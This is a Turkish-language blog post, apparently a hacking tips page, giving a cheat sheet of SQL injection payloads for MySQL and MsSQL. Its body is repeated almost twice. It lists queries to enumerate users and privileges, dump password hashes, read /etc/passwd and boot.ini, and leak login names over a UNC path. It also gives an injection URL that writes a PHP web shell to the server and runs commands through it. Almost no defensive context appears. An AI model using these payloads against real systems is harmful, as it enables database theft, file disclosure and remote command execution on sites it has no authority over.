SQL İnjection Püf Noktaları
~MySQL Injection Codes / Püf NoktalarıSystem User’ı Göstermek > SELECT system_user();
MySQL Userlarını Göstermek > SELECT user FROM mysql.user; -- priv Bi Koddur (H).
İzinleri Göstermek > SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges;
DBLeri Listeletmek > SELECT schema_name FROM information_schema.schemata;
Colonları Listeletmek > SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ’mysql’ AND table_schema != ’information_schema’
Tabloları Listeltmek > SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ’mysql’ AND table_schema != ’information_schema’
Dosya Okumak > UNION ALL SELECT LOAD_FILE(’/etc/passwd’) -privdi publci oldu
~MsSQL Injection Codes / Püf Noktaları
userları listeletmek > SELECT name FROM master..syslogins
şifre saltlarını listeletmek > SELECT name, password FROM master..sysxlogins
Current Userın admin olup olmadıgını Gösterir ( 1 ise admin 0 ise değil) > SELECT is_srvrolemember(’sysadmin’);
DbLeri Listeletmek > SELECT name FROM master..sysdatabases;
Colonları Listeletmek > SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’so****ble’;
Tabloları Listeletmek > SELECT name FROM master..sysobjects WHERE xtype = ’U’;
DNS ISTEMCISI YARATMAK (Priv8) > declare @host varchar(800); select @host = name FROM master..syslogins; exec(’master..xp_getfiledetails ’’\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\\\\\\\\\\\\\\\’ + @host + ’\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\c$\\\\\\\\\\\\\\\ \\\\\\\\\\\\\\\\\boot.ini’’ ’);
Local File acces Yapmak > CREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM ’c:\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\boot.ini’;
DROP TABLE mydata;
Hostname-ip adress öğrenemek > SELECT HOST_NAME()
kendim yazdım
-------------------------------------------------------------------
Sql İnjection Püf Noktaları:
Sql İnjection Açığı Nedir ?
Sql İnjection mevcut Sql sorgusuna mantıksal ifadeler ve ek komutlar ekleyerek veri alma veri ekleme işlemidir.(Bana Göre)
Fazla ayrıntıya girmiyorum.
1.Püf Nokta Dosya Yazma-Okuma İşlemi
Yerleşik bir dosya yazdırmak için aşağıdaki komut kullanılmaktadır.
mysq> select "text" INTO OUTFILE "file.txt
Açıktan yararlanarak şu sorgu ile bu işlemi gerçekleştirebiliriz.
select user, password from user where user="admin" and password=’123’
Sonuçta ortaya şu şekilde bir sorgu çıkacaktır.
select user, password from user where user="admin" and password=’123’ union
select "text",2 into outfile "/tmp/file.txt" -- ’
Tamam güzel dosya yazdırdık.Peki dosya nası okuyacağız ?
mysql> select load_file("PATH_TO_FILE");
Bu kod yardımıyla rahatlıkla okuyabiliriz.Bunu sorgu haline getirip enjekte ettiğiniz zaman url’ye belirttiğiniz dosyayı rahatlıkla okuyabilirsiniz.
2.Püf Noktamız WebShell
Cmd shell olarakta bilinmektedir.
Nedir Ne İşe Yarar ?
Web tarayıcımızdan server üzerinde rahatlıkla kod çalıştırmamızı sağlayan bir araçtır.
Elimizdeki dizin "home/www/img/" olsun.Bu değişik dizinler olabilir.
Açığımız http://siteadı.com/index.php?id=-26 olsun.
" <? system($cmd); ?> kodu ile php de komut satırı işlevi olan kodumuzu sorgu halinde sitemize yedirelim.
site.com/index.php?id=-26+union+select+null,’<?system($cmd);?>’,null,null , null,null+from+users+into+outfile+’/home/www/img/shell.php’/*
Evet Webshell(cmd shell) bu kadar bunu çalıştırmak için ise.
http://site.com/img/shell.php?cmd=id
Şeklinde çalıştırabilirsiniz.
MySQL Userlarını Göstermek > SELECT user FROM mysql.user; -- priv Bi Koddur (H).
İzinleri Göstermek > SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges;
DBLeri Listeletmek > SELECT schema_name FROM information_schema.schemata;
Colonları Listeletmek > SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ’mysql’ AND table_schema != ’information_schema’
Tabloları Listeltmek > SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ’mysql’ AND table_schema != ’information_schema’
Dosya Okumak > UNION ALL SELECT LOAD_FILE(’/etc/passwd’) -privdi publci oldu
~MsSQL Injection Codes / Püf Noktaları
userları listeletmek > SELECT name FROM master..syslogins
şifre saltlarını listeletmek > SELECT name, password FROM master..sysxlogins
Current Userın admin olup olmadıgını Gösterir ( 1 ise admin 0 ise değil) > SELECT is_srvrolemember(’sysadmin’);
DbLeri Listeletmek > SELECT name FROM master..sysdatabases;
Colonları Listeletmek > SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’so****ble’;
Tabloları Listeletmek > SELECT name FROM master..sysobjects WHERE xtype = ’U’;
DNS ISTEMCISI YARATMAK (Priv8) > declare @host varchar(800); select @host = name FROM master..syslogins; exec(’master..xp_getfiledetails ’’\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\\\\\\\\\\\\\\\’ + @host + ’\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\c$\\\\\\\\\\\\\\\ \\\\\\\\\\\\\\\\\boot.ini’’ ’);
Local File acces Yapmak > CREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM ’c:\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\boot.ini’;
DROP TABLE mydata;
Hostname-ip adress öğrenemek > SELECT HOST_NAME()
kendim yazdım
-------------------------------------------------------------------
Sql İnjection Püf Noktaları:
Sql İnjection Açığı Nedir ?
Sql İnjection mevcut Sql sorgusuna mantıksal ifadeler ve ek komutlar ekleyerek veri alma veri ekleme işlemidir.(Bana Göre)
Fazla ayrıntıya girmiyorum.
1.Püf Nokta Dosya Yazma-Okuma İşlemi
Yerleşik bir dosya yazdırmak için aşağıdaki komut kullanılmaktadır.
mysq> select "text" INTO OUTFILE "file.txt
Açıktan yararlanarak şu sorgu ile bu işlemi gerçekleştirebiliriz.
select user, password from user where user="admin" and password=’123’
Sonuçta ortaya şu şekilde bir sorgu çıkacaktır.
select user, password from user where user="admin" and password=’123’ union
select "text",2 into outfile "/tmp/file.txt" -- ’
Tamam güzel dosya yazdırdık.Peki dosya nası okuyacağız ?
mysql> select load_file("PATH_TO_FILE");
Bu kod yardımıyla rahatlıkla okuyabiliriz.Bunu sorgu haline getirip enjekte ettiğiniz zaman url’ye belirttiğiniz dosyayı rahatlıkla okuyabilirsiniz.
2.Püf Noktamız WebShell
Cmd shell olarakta bilinmektedir.
Nedir Ne İşe Yarar ?
Web tarayıcımızdan server üzerinde rahatlıkla kod çalıştırmamızı sağlayan bir araçtır.
Elimizdeki dizin "home/www/img/" olsun.Bu değişik dizinler olabilir.
Açığımız http://siteadı.com/index.php?id=-26 olsun.
" <? system($cmd); ?> kodu ile php de komut satırı işlevi olan kodumuzu sorgu halinde sitemize yedirelim.
site.com/index.php?id=-26+union+select+null,’<?system($cmd);?>’,null,null , null,null+from+users+into+outfile+’/home/www/img/shell.php’/*
Evet Webshell(cmd shell) bu kadar bunu çalıştırmak için ise.
http://site.com/img/shell.php?cmd=id
Şeklinde çalıştırabilirsiniz.
Hiç yorum yok